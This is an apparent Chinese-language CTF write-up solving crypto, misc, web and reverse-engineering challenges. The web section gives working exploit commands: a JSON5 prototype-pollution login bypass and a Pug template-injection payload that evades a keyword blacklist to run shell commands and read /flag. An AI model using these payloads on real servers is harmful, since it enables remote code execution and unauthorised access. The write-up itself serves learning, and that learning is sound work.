一、Cryptography
1、Try E
题目描述:E is so big... what does it mean?
python
from Crypto.Util.number import getPrime, bytes_to_long
from secret import flag
def get_huge_RSA():
p = getPrime(1024)
q = getPrime(1024)
N = p * q
phi = (p - 1) * (q - 1)
while True:
d = getPrime(256)
e = pow(d, -1, phi)
if e.bit_length() == N.bit_length():
break
return N,e
if __name__ == '__main__':
N, e = get_huge_RSA()
m = bytes_to_long(flag)
c = pow(m, e, N)
print(f'N = {hex(N)}')
print(f'e = {hex(e)}')
print(f'c = {hex(c)}')
'''
N = 0x662854e5ee8b1aa73eea7c897f0f1bd7cace486dea68fb4e9b1affe86ddae225221e9941b7e90b7dd87d57988fc3428f51433a5c2a6e7ef9cbe85aace0925914347ca1d403ea58e2f36435b67648f8caf0abd29c9c24d3caeadab2c41522deda75c19584ec917fa683ff16c932f334db3145a8367c3dc6bc3b918ff3f69f8bfb16c45b4caab1e8ecef24e8e923e984e921115d9fb997a638c8e25d74d592f279359e7147745a7a8443603287120d1a186f30d5a41ce26545f85844721b788564e306791ae39c3be23aeeab010e79302afab4b3e9ab18cb2769382ff8fcbc0514f51861ec6db247f0a0343b7cc6d44299878f7006c118df10de6937c11e3aed7d
e = 0x58a2680eae331e41397475dd699a75f242897e4ed4048338137eb40100cc406b651c4518f4057ad8419cd6a82605113dd5801cd9f022f8bda424b02db5feb333d96636026c3ffc4cab74f7426aa14fb1139663a4f6248dd8e5c7075fcdf3e520c425697775cfb65d33ccca5ffe08d944753b1e9da2dbf96713ece5436deb6dbc843dcd5c497eda9919e055a32c76798770535c6a91ae00b971f35be1ab9e48dd4c701026e0744826001f6fb30e4f68d6e4981aa5a5bbcc995a9e46a4d9b1658348d0fb3b1314fa091251ea1b7379a854a3860fcba2ace323dca8157008d80d6035fd6c880404495f933bf4b4ae829b35823450a921f64b9cf63ae861b3fc4ef7
c = 0x47d2e297294af43a9a02d465f7f5272cab0af2445cbc6022def1098e075dcfb3a7830f09df6112a9fa55b34ed4d0baebad54ea2cbd32e4367cbe7a138409a0ef4c36d837ea7817ec3624fca3a19c1377eaf08e4a519de73cb2c5e99ec8f3998e04d4c3bc44a6f1eb389111bf7c72c68bf1dd743e656467d1ecdd314b37313963758634b83ea96724b1872367a922788f2c8a046c76ccc57e86686bedd7ac431f92b9e2f1fae79701fa0d14d2a0119860c8908336c6caec87b9733f626166373631e1e7e9ba6be92d712e84e821e0e4dc105d460c6640498aefaeb5146d0f57b8e57c3e24bc13f3e79082172c1690428eb49bc6035f1e60f6a579129a2da00c60
'''
分析代码:
-
生成 1024 位的 p,qp,q,计算 N=p×qN=p×q。
-
生成一个 256 位 的素数作为私钥 dd(相对较小,256 位相对于 2048 位的 NN 来说很小)。
-
计算 e=d−1mod ϕ(N)e=d−1modϕ(N)。
-
要求 ee 的位数和 NN 的位数相同(即 ee 很大,接近 NN 的大小)。
-
加密 flag 得到密文 cc。
解题思路:
因为 dd 只有 256 位(NN 是 2048 位),满足 Wiener 攻击 的条件:
d<13N1/4≈1322048/4=132512(远远大于 256 位)d<31N1/4≈3122048/4=312512(远远大于 256 位)
所以 Wiener 攻击肯定可行。
我们有:
ed≡1(modϕ(N))ed≡1(modϕ(N))ed=1+kϕ(N)=1+k(N−(p+q)+1)ed=1+kϕ(N)=1+k(N−(p+q)+1)
于是:
∣eN−kd∣=∣1+k(N−ϕ(N))Nd∣≈k(p+q)NdNe−dk=Nd1+k(N−ϕ(N))≈Ndk(p+q)
因为 p+q≈2Np+q≈2N,且 k≈edN≈dk≈Ned≈d,所以这个差值很小,因此 kddk 是 eNNe 连分数展开的一个收敛子。
解法:
-
对 e/Ne/N 进行连分数展开。
-
对每一个收敛分数 k/dk/d 尝试作为候选的 kk 和 dd。
-
检查 dd 是否整数且 ed≡1(modϕ(N))ed≡1(modϕ(N)) 的某种形式成立。
-
得到 dd 后解密 cc。
python
import gmpy2
from Crypto.Util.number import long_to_bytes
N = 0x662854e5ee8b1aa73eea7c897f0f1bd7cace486dea68fb4e9b1affe86ddae225221e9941b7e90b7dd87d57988fc3428f51433a5c2a6e7ef9cbe85aace0925914347ca1d403ea58e2f36435b67648f8caf0abd29c9c24d3caeadab2c41522deda75c19584ec917fa683ff16c932f334db3145a8367c3dc6bc3b918ff3f69f8bfb16c45b4caab1e8ecef24e8e923e984e921115d9fb997a638c8e25d74d592f279359e7147745a7a8443603287120d1a186f30d5a41ce26545f85844721b788564e306791ae39c3be23aeeab010e79302afab4b3e9ab18cb2769382ff8fcbc0514f51861ec6db247f0a0343b7cc6d44299878f7006c118df10de6937c11e3aed7d
e = 0x58a2680eae331e41397475dd699a75f242897e4ed4048338137eb40100cc406b651c4518f4057ad8419cd6a82605113dd5801cd9f022f8bda424b02db5feb333d96636026c3ffc4cab74f7426aa14fb1139663a4f6248dd8e5c7075fcdf3e520c425697775cfb65d33ccca5ffe08d944753b1e9da2dbf96713ece5436deb6dbc843dcd5c497eda9919e055a32c76798770535c6a91ae00b971f35be1ab9e48dd4c701026e0744826001f6fb30e4f68d6e4981aa5a5bbcc995a9e46a4d9b1658348d0fb3b1314fa091251ea1b7379a854a3860fcba2ace323dca8157008d80d6035fd6c880404495f933bf4b4ae829b35823450a921f64b9cf63ae861b3fc4ef7
c = 0x47d2e297294af43a9a02d465f7f5272cab0af2445cbc6022def1098e075dcfb3a7830f09df6112a9fa55b34ed4d0baebad54ea2cbd32e4367cbe7a138409a0ef4c36d837ea7817ec3624fca3a19c1377eaf08e4a519de73cb2c5e99ec8f3998e04d4c3bc44a6f1eb389111bf7c72c68bf1dd743e656467d1ecdd314b37313963758634b83ea96724b1872367a922788f2c8a046c76ccc57e86686bedd7ac431f92b9e2f1fae79701fa0d14d2a0119860c8908336c6caec87b9733f626166373631e1e7e9ba6be92d712e84e821e0e4dc105d460c6640498aefaeb5146d0f57b8e57c3e24bc13f3e79082172c1690428eb49bc6035f1e60f6a579129a2da00c60
def wiener_attack(e, n):
# 连分数展开 e/n,并尝试每个收敛分数
def continued_fraction(e, n):
cf = []
while n:
q = e // n
cf.append(q)
e, n = n, e - q * n
return cf
def convergents(cf):
convergents = []
for i in range(len(cf)):
num = cf[i]
den = 1
for j in range(i-1, -1, -1):
num, den = cf[j] * num + den, num
convergents.append((num, den))
return convergents
cf = continued_fraction(e, n)
convs = convergents(cf)
for k, d in convs:
if k == 0:
continue
# 检查 ed ≡ 1 mod phi 的近似条件
# 由 ed - 1 = k phi,phi ≈ N
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
# 从 phi 和 N 求解 p,q:N - phi + 1 = p+q
s = n - phi + 1
# 判别式 s^2 - 4n 应为完全平方数
D = s*s - 4*n
if D < 0:
continue
sqrtD = gmpy2.isqrt(D)
if sqrtD * sqrtD == D:
# 找到 p,q
p = (s + sqrtD) // 2
q = (s - sqrtD) // 2
if p * q == n:
return d, int(p), int(q)
return None
res = wiener_attack(e, N)
if res:
d, p, q = res
print(f"Found d = {d}")
print(f"p = {p}")
print(f"q = {q}")
# 解密
m = pow(c, d, N)
print("Flag:", long_to_bytes(m).decode())
else:
print("Wiener attack failed")
2、Loss N
题目描述:Even without that n, I can still solve the flag.
python
from Crypto.Util.number import *
from gmpy2 import *
from secret import flag
m = bytes_to_long(flag)
p = getPrime(512)
q = next_prime(p)
n = p * q
e = 0x10001
d = inverse(e, (p-1) * (q-1))
c = pow(m, e, n)
print(f"c = {c}")
print(f"d = {d}")
'''
c = 30552929401084215063034197070424966877689134223841680278066312021587156531434892071537248907148790681466909308002649311844930826894649057192897551604881567331228562746768127186156752480882861591425570984214512121877203049350274961809052094232973854447555218322854092207716140975220436244578363062339274396240
d = 3888417341667647293339167810040888618410868462692524178646833996133379799018296328981354111017698785761492613305545720642074067943460789584401752506651064806409949068192314121154109956133705154002323898970515811126124590603285289442456305377146471883469053362010452897987327106754665010419125216504717347373
'''
解题思路:
-
题目特性:给出了 e,d,ce,d,c,没有给 nn,但已知 pp 和 qq 是相邻素数。
-
利用关系:从 ed−1=kϕ(n)ed−1=kϕ(n) 出发,枚举可能的 kk 值。
-
相邻素数条件:q−pq−p 很小,因此 (p+q)2−4n(p+q)2−4n 是一个完全平方数且数值小。
-
求解:对每个候选 ϕ=(ed−1)/kϕ=(ed−1)/k,用相邻素数条件解出 nn 和 p,qp,q。
-
解密:得到 nn 后直接用 cdmod ncdmodn 解密得到 flag。
python
import gmpy2
from Crypto.Util.number import long_to_bytes
e = 65537
c = 30552929401084215063034197070424966877689134223841680278066312021587156531434892071537248907148790681466909308002649311844930826894649057192897551604881567331228562746768127186156752480882861591425570984214512121877203049350274961809052094232973854447555218322854092207716140975220436244578363062339274396240
d = 3888417341667647293339167810040888618410868462692524178646833996133379799018296328981354111017698785761492613305545720642074067943460789584401752506651064806409949068192314121154109956133705154002323898970515811126124590603285289442456305377146471883469053362010452897987327106754665010419125216504717347373
ed1 = e * d - 1
# k 应该在 e 附近,因为 phi ≈ n, n 是 1024 位,ed1 是 1024+ 位,所以 k ≈ e 量级
for k in range(1, 100000):
if ed1 % k == 0:
phi = ed1 // k
# 近似 n
sqrt_phi = gmpy2.isqrt(phi)
n_approx = phi + 1 + 2 * sqrt_phi
# 在附近搜索
for n in range(n_approx - 10000, n_approx + 10000):
S = n + 1 - phi # p+q
if S <= 0:
continue
delta2 = S * S - 4 * n # (q-p)^2
if delta2 < 0:
continue
delta = gmpy2.isqrt(delta2)
if delta * delta == delta2:
p = (S - delta) // 2
q = (S + delta) // 2
if gmpy2.is_prime(p) and gmpy2.is_prime(q) and q == gmpy2.next_prime(p):
# 验证 ed1 = k * phi(n) 成立
if (p-1)*(q-1) == phi:
print(f"Found k = {k}")
print(f"p = {p}")
print(f"q = {q}")
print(f"n = {n}")
# 解密
m = pow(c, d, n)
print("Flag:", long_to_bytes(m))
exit()
二、MISC
1、Easy_Base
题目描述:新人,學院給了你一套能殺死龍王的武器,但上面的文字好像有點看不清啊(flag格式為:flag{xx_xx})
文件内容:Zg====AbYQ====wZew====ARZQ====gbaQ====QcdQ====QZdQ====gYaQ====QZcg====QadA====wXcw====QYbg====wZdQ====Qacw====QYZw====AbYQ====AZaQ====wbcg====QZZw====Qacw====Qf
这个比较简单,两个一组,隔一个反转解密
python
import base64
data = """Zg====\nAbYQ====\nwZew====\nARZQ====\ngbaQ====\nQcdQ====\nQZdQ====\ngYaQ====\nQZcg====\nQadA====\nwXcw====\nQYbg====\nwZdQ====\nQacw====\nQYZw====\nAbYQ====\nAZaQ====\nwbcg====\nQZZw====\nQacw====\nQf"""
c = ''.join(l.rstrip('=') for l in data.strip().split('\n'))
print(''.join(chr(base64.b64decode((c[i:i+2][::-1] if (i//2+1)%2==0 and i+1<len(c) else c[i:i+2])+"==")[0]) for i in range(0,len(c),2)))
三、WEB
1、ezjs
题目描述:Come and try some code auditing!
javascript
const expres=require('express')
const JSON5 = require('json5');
const bodyParser = require('body-parser')
const pugjs=require('pug')
const session = require('express-session')
const rand = require('string-random')
var cookieParser = require('cookie-parser');
const SECRET = rand(32, '0123456789abcdef')
const port=80
const app=expres()
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())
app.use(session({
secret: SECRET,
resave: false,
saveUninitialized: true,
cookie: { maxAge: 3600 * 1000 }
}));
app.use(cookieParser());
function waf(obj, arr){
let verify = true;
Object.keys(obj).forEach((key) => {
if (arr.indexOf(key) > -1) {
verify = false;
}
});
return verify;
}
app.get('/',(req,res)=>{
res.send('hey bro!')
})
app.post('/login',(req,res)=>{
let userinfo=JSON.stringify(req.body)
const user = JSON5.parse(userinfo)
if (waf(user, ['admin'])) {
req.session.user = user
if(req. session.user.admin==true){
req.session.user='admin'
res.send('hello,admin')
}
else{
res.send('hello,guest')
}
}
else {
res.send('login error!')
}
})
app.post('/render',(req,res)=>{
if (req.session.user === 'admin'){
var word = req.body.word
const blacklist = ['require', 'exec']
let isBlocked = false
if (word) {
for (let keyword of blacklist) {
if (word.toLowerCase().includes(keyword.toLowerCase())) {
isBlocked = true
break
}
}
}
if (isBlocked) {
res.send('Blocked: dangerous keywords detected!')
} else {
var hello='welcome '+ word
res.send (pugjs.render(hello))
}
}
else{
res.send('you are not admin')
}
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
通过分析源码得到:
漏洞1:/login 路由的原型链污染
javascript
// 问题代码
const user = JSON5.parse(userinfo); // 使用宽松的JSON5解析器
if (waf(user, ['admin'])) { // 只检查键名是否为'admin'
req.session.user = user;
if(req.session.user.admin==true){ // 宽松比较 ==
req.session.user='admin';
}
}
// WAF函数缺陷
function waf(obj, arr){
Object.keys(obj).forEach((key) => {
if (arr.indexOf(key) > -1) { // 仅检查对象自身键名
verify = false;
}
});
}
漏洞2: /render 路由的模板注入
javascript
// 问题代码
var hello='welcome '+ word; // 直接拼接用户输入
res.send(pugjs.render(hello));
// 不完善的黑名单
const blacklist = ['require', 'exec']; // 只过滤这两个关键词
解题过程:
1、绕过登录成为admin
bash
curl -X POST http://target/login \
-H "Content-Type: application/json" \
-d '{"__proto__": {"admin": 1}}'
# 响应: hello,admin
原理:
-
WAF绕过 :
Object.keys(obj)返回["__proto__"],而非["admin"] -
原型污染 : JSON5解析后污染Object原型,所有对象继承
admin: 1 -
宽松比较 :
req.session.user.admin == true时,1 == true结果为true
2、Pug模板注入RCE
bash
# 1. 获取admin会话
curl -X POST http://target/login \
-H "Content-Type: application/json" \
-d '{"__proto__": {"admin": 1}}' \
-c cookies.txt
# 2. 执行命令获取flag
curl -X POST http://target/render \
-H "Content-Type: application/json" \
-b cookies.txt \
-d '{"word": "#{global.process.mainModule.constructor._load(\"ch\"+\"ild_pro\"+\"cess\").execSync(\"cat /flag\").toString()}"}'
绕过技巧:
-
拆分字符串 :
"ch"+"ild_pro"+"cess"绕过child_process检测 -
使用
constructor._load: 替代被过滤的require -
Base64编码备用: 如果字符串拼接被拦截,使用Base64编码绕过
2、easy-lua
题目描述:A Lua online executor
解题思路:
1、信息收集
-
访问Web界面,发现Lua在线执行环境
-
尝试基本Lua代码,确认服务正常运行
-
输出显示严格沙箱环境:只有
_G、table、string、math可用
2、深度探测
bash
-- 关键步骤:枚举全局变量
for k,v in pairs(_G) do
print(k, type(v))
end
发现关键函数 :S3cr3t0sEx3cFunc(名称明显暗示:Secret OS Execute Function)
3、功能验证
bash
-- 测试隐藏函数
print(S3cr3t0sEx3cFunc("ls -la"))
成功返回目录列表,确认该函数具有系统命令执行能力。
4、获取flag
bash
-- 直接读取标准flag位置
local flag = S3cr3t0sEx3cFunc("cat /flag")
print("Flag found:", flag)
四、REV
1、easyjar
题目描述:Reverse engineering a simple algorithm
解题步骤:
1、初步分析
bash
unzip -l sm4chal.jar
# 输出: Main.class, Sm4.class
unzip -p sm4chal.jar META-INF/MANIFEST.MF
# 显示主类: Main
2、反编译分析
使用 javap -c -p 分析字节码:
Main.class 分析
-
程序要求输入flag
-
验证格式:必须以
flag{开头,}结尾 -
使用SM4加密输入
-
与硬编码密文比较:
21c2692a4775c413356a31fc55c38f6218bed9d46c45bd0eb777be9334c999d7 -
密钥生成:
Sm4.deriveKeyFromSeed("happ")
Sm4.class 分析
-
实现了完整的SM4算法
-
关键发现:自定义S盒变换
bash
private static int sboxTransform(int x) {
return SBOX_P[(x ^ 0x3C) & 0xFF];
}
-
SBOX_P生成:
rotl8(SBOX[x ^ 0xA7], x & 3) -
加密模式:ECB
-
填充方式:PKCS7
3、密钥分析
bash
def derive_key(seed="happ"):
seed_bytes = seed.encode('utf-8')
seed_len = len(seed_bytes)
key = bytearray(16)
for i in range(16):
seed_byte = seed_bytes[i % seed_len]
transformed = (seed_byte + i * 17 + 35) & 0xFF
key[i] = transformed
return bytes(key)
# 结果: 8b95b5c6cfd9f90a131d3d4e57618192
4、算法逆向(SM4标准算法,但有关键修改)
-
标准S盒 → 自定义SBOX_P
-
SBOX_P生成逻辑:
rotl8(SBOX[x ^ 0xA7], x & 3) -
S盒变换:先异或0x3C再查表
5、解密实现
-
实现自定义S盒变换
-
实现SM4轮函数
-
实现密钥扩展
-
注意轮密钥解密时需反序
python
#!/usr/bin/env python3
import binascii
def rotl8(x, n):
"""8位循环左移"""
n = n & 7
return ((x << n) & 0xFF) | (x >> (8 - n))
def generate_sbox_p():
"""根据字节码生成SBOX_P"""
SBOX = [
0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,
0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62,
0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6,
0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8,
0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35,
0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87,
0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e,
0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1,
0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3,
0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f,
0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51,
0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8,
0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0,
0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84,
0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48
]
SBOX_P = [0] * 256
for x in range(256):
index = x ^ 0xA7
sbox_val = SBOX[index & 0xFF]
rotated = rotl8(sbox_val, x & 3)
SBOX_P[x] = rotated & 0xFF
return SBOX_P
class SM4Decryptor:
SBOX_P = generate_sbox_p()
FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
CK = [
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]
@staticmethod
def rotl(x, n):
return ((x << n) & 0xFFFFFFFF) | ((x & 0xFFFFFFFF) >> (32 - n))
@staticmethod
def sbox_transform(x):
index = (x ^ 0x3C) & 0xFF
return SM4Decryptor.SBOX_P[index]
@staticmethod
def tau(x):
a = (x >> 24) & 0xFF
b = (x >> 16) & 0xFF
c = (x >> 8) & 0xFF
d = x & 0xFF
a = SM4Decryptor.sbox_transform(a)
b = SM4Decryptor.sbox_transform(b)
c = SM4Decryptor.sbox_transform(c)
d = SM4Decryptor.sbox_transform(d)
return (a << 24) | (b << 16) | (c << 8) | d
@staticmethod
def t(x):
b = SM4Decryptor.tau(x)
return b ^ SM4Decryptor.rotl(b, 2) ^ SM4Decryptor.rotl(b, 10) ^ \
SM4Decryptor.rotl(b, 18) ^ SM4Decryptor.rotl(b, 24)
@staticmethod
def t_prime(x):
b = SM4Decryptor.tau(x)
return b ^ SM4Decryptor.rotl(b, 13) ^ SM4Decryptor.rotl(b, 23)
@staticmethod
def expand_key(key):
mk = [
(key[0] << 24) | (key[1] << 16) | (key[2] << 8) | key[3],
(key[4] << 24) | (key[5] << 16) | (key[6] << 8) | key[7],
(key[8] << 24) | (key[9] << 16) | (key[10] << 8) | key[11],
(key[12] << 24) | (key[13] << 16) | (key[14] << 8) | key[15]
]
k = [0] * 36
for i in range(4):
k[i] = mk[i] ^ SM4Decryptor.FK[i]
rk = [0] * 32
for i in range(32):
k[i + 4] = k[i] ^ SM4Decryptor.t_prime(
k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4Decryptor.CK[i]
)
rk[i] = k[i + 4]
return rk
@staticmethod
def decrypt_block(data, rk):
x = [0] * 36
x[0] = (data[0] << 24) | (data[1] << 16) | (data[2] << 8) | data[3]
x[1] = (data[4] << 24) | (data[5] << 16) | (data[6] << 8) | data[7]
x[2] = (data[8] << 24) | (data[9] << 16) | (data[10] << 8) | data[11]
x[3] = (data[12] << 24) | (data[13] << 16) | (data[14] << 8) | data[15]
for i in range(32):
x[i + 4] = x[i] ^ SM4Decryptor.t(
x[i + 1] ^ x[i + 2] ^ x[i + 3] ^ rk[31 - i]
)
result = bytearray(16)
result[0:4] = x[35].to_bytes(4, 'big')
result[4:8] = x[34].to_bytes(4, 'big')
result[8:12] = x[33].to_bytes(4, 'big')
result[12:16] = x[32].to_bytes(4, 'big')
return bytes(result)
@staticmethod
def pkcs7_unpad(data):
if len(data) == 0:
return data
padding_len = data[-1]
if 1 <= padding_len <= 16:
if all(b == padding_len for b in data[-padding_len:]):
return data[:-padding_len]
return data
@staticmethod
def decrypt(ciphertext, key):
rk = SM4Decryptor.expand_key(key)
plaintext = bytearray()
for i in range(0, len(ciphertext), 16):
block = ciphertext[i:i+16]
plaintext.extend(SM4Decryptor.decrypt_block(block, rk))
return SM4Decryptor.pkcs7_unpad(bytes(plaintext))
def derive_key(seed="happ"):
seed_bytes = seed.encode('utf-8')
seed_len = len(seed_bytes)
key = bytearray(16)
for i in range(16):
seed_byte = seed_bytes[i % seed_len]
transformed = (seed_byte + i * 17 + 35) & 0xFF
key[i] = transformed
return bytes(key)
# 使用
key = derive_key("happ")
ciphertext = binascii.unhexlify("21c2692a4775c413356a31fc55c38f6218bed9d46c45bd0eb777be9334c999d7")
plaintext = SM4Decryptor.decrypt(ciphertext, key)
print(f"Flag: {plaintext.decode('utf-8')}")
2、JN
题目描述:怎麽有的函數看不到
解题流程:
1、初步分析
bash
apktool d JN.apk -o JN_decoded
发现APK包含:
-
两个DEX文件:classes.dex, classes2.dex
-
Native库:libxsran.so (arm64-v8a/armeabi-v7a/x86/x86_64)
-
Assets目录:dexopt/(包含性能分析文件)
2、关键代码定位
入口Activity**:**com.challenge.xsran.MainActivity
关键验证方法validate():
bash
public final validate(Ljava/lang/String;)Z {
// 1. 检查Flag长度 == 22字符
// 2. flag.substring(5, 21) 取16字符
// 3. 分成两部分:前8字符(part1) + 后8字符(part2)
// 4. part1 -> J_Validate() [Java层RC4验证]
// 5. part2 -> N_Valildate() [Native层XXTEA验证]
}
3、Part1分析 - Java层RC4
验证函数J_Validate([B)Z
bash
public final J_Validate([B)Z {
encrypted = unknownEncrypt(input, UNKNOWN_KEY);
return Arrays.equals(encrypted, JAVA_CIPHER);
}
unknownEncrypt 是标准RC4算法
-
KSA(密钥调度算法)+ PRGA(伪随机生成算法)
-
通过异或操作加密/解密
关键数据:
bash
UNKNOWN_KEY = [0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10]
JAVA_CIPHER = [0xC6, 0x17, 0xF4, 0xF4, 0xB6, 0x5C, 0xCE, 0x90]
RC4解密得到part1:
bash
def rc4_decrypt(data, key):
# RC4实现
return decrypted
part1 = rc4_decrypt(JAVA_CIPHER, UNKNOWN_KEY)
# part1 = "kokodayo"
4、Part2分析 - Native层XXTEA
验证函数: N_Valildate([B)Z (注意函数名拼写错误)
-
位于libxsran.so中
-
函数名:
Java_com_challenge_xsran_MainActivity_N_1Valildate
算法识别: XXTEA加密算法
-
魔数delta:
0x9E3779B9 -
循环32次(
iVar5 = -0x20到0)
关键数据提取:
- 密钥: 从.so文件偏移0x558处获取16字节
bash
0f 1e 2d 3c 4b 5a 69 78 87 96 a5 b4 c3 d2 e1 f0
转换为4个32位整数(小端序):
[0x3c2d1e0f, 0x78695a4b, 0xb4a59687, 0xf0e1d2c3]
- 目标密文: 从反汇编代码获得
bash
uVar3 == 0xfa7cb432 && uVar1 == 0x6421acbe
高32位=0xfa7cb432, 低32位=0x6421acbe
XXTEA解密:
bash
def xxtea_decrypt(cipher, key):
# XXTEA解密实现
return decrypted
cipher = [0x6421acbe, 0xfa7cb432] # [低32位, 高32位]
decrypted = xxtea_decrypt(cipher, key)
# 解密得到两个32位整数,转换为8字节
解密结果
bash
part2_bytes = b'~OoO~OoO'
part2 = "~OoO~OoO"
python
import struct
def rc4(data, key):
"""RC4加密/解密"""
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]
i = j = 0
result = bytearray()
for byte in data:
i = (i + 1) & 0xFF
j = (j + S[i]) & 0xFF
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) & 0xFF]
result.append(byte ^ K)
return bytes(result)
def xxtea_decrypt(v, k):
"""XXTEA解密"""
n = len(v)
delta = 0x9E3779B9
rounds = 6 + 52 // n
sum_ = (rounds * delta) & 0xFFFFFFFF
y = v[0]
for _ in range(rounds):
e = (sum_ >> 2) & 3
for i in range(n-1, 0, -1):
z = v[i-1]
v[i] = (v[i] - (((z>>5 ^ y<<2) + (y>>3 ^ z<<4)) ^ ((sum_ ^ y) + (k[(i & 3) ^ e] ^ z)))) & 0xFFFFFFFF
y = v[i]
z = v[n-1]
v[0] = (v[0] - (((z>>5 ^ y<<2) + (y>>3 ^ z<<4)) ^ ((sum_ ^ y) + (k[(0 & 3) ^ e] ^ z)))) & 0xFFFFFFFF
y = v[0]
sum_ = (sum_ - delta) & 0xFFFFFFFF
return v
def main():
# Part 1: RC4解密
key_rc4 = bytes([0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,
0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10])
cipher_rc4 = bytes([0xC6, 0x17, 0xF4, 0xF4, 0xB6, 0x5C, 0xCE, 0x90])
part1 = rc4(cipher_rc4, key_rc4)
print(f"密钥: {key_rc4.hex()}")
print(f"密文: {cipher_rc4.hex()}")
print(f"解密: {part1.decode('utf-8')}")
# Part 2: XXTEA解密
key_xxtea = bytes([0x0f, 0x1e, 0x2d, 0x3c, 0x4b, 0x5a, 0x69, 0x78,
0x87, 0x96, 0xa5, 0xb4, 0xc3, 0xd2, 0xe1, 0xf0])
k = list(struct.unpack('<IIII', key_xxtea))
cipher = [0x6421acbe, 0xfa7cb432] # [低32位, 高32位]
decrypted = xxtea_decrypt(cipher.copy(), k)
part2_bytes = struct.pack('<I', decrypted[0]) + struct.pack('<I', decrypted[1])
part2 = part2_bytes.decode('utf-8')
print(f"密钥: {key_xxtea.hex()}")
print(f"密文: {[hex(x) for x in cipher]}")
print(f"解密: {part2}")
# 组合Flag
flag = f"flag{{{part1.decode('utf-8')}{part2}}}"
print(f"Flag长度: {len(flag)} 字符")
print(f"最终Flag: {flag}")
if __name__ == "__main__":
main()
3、ezc
题目描述:What about the random key? flag Submission format: flag{youget}
程序逻辑分析:
-
流程概述
-
生成随机种子:
srand((time(0) ^ getpid()) % 20) -
用
rand()生成36字节密钥key[36] -
提示用户输入36字节猜测
-
将输入与
key逐字节异或,得到加密结果 -
比较加密结果与硬编码的
cipher(36字节) -
相同则输出
"Correct! Your input is the plaintext." -
关键发现
-
种子范围仅0~19,可爆破
-
cipher位于.rodata段,地址0x555555556020 -
算法:
cipher[i] = flag[i] ^ key[i]
解题步骤
方法一:动态调试
1、获取cipher:
python
(gdb) x/36xb 0x555555556020
1f c9 ed 29 a6 fe 44 ee 82 45 e9 d8 7f 42 10 e0
bb 4b d0 05 4c 76 90 cb 48 9c 7a a9 f0 33 55 25
64 88 3d f7
2、获取密钥
-
输入36个'a'(0x61)
-
在
memcmp处断点(0x555555555619) -
获取加密结果
enc_input(rdi寄存器) -
计算密钥:
key[i] = enc_input[i] ^ 0x61 -
得到本次运行的密钥
3、解密
python
plain[i] = cipher[i] ^ key[i]
方法二:种子爆破
由于 %20 只有20种可能,枚举种子生成密钥并解密:
python
import ctypes
libc = ctypes.CDLL("libc.so.6")
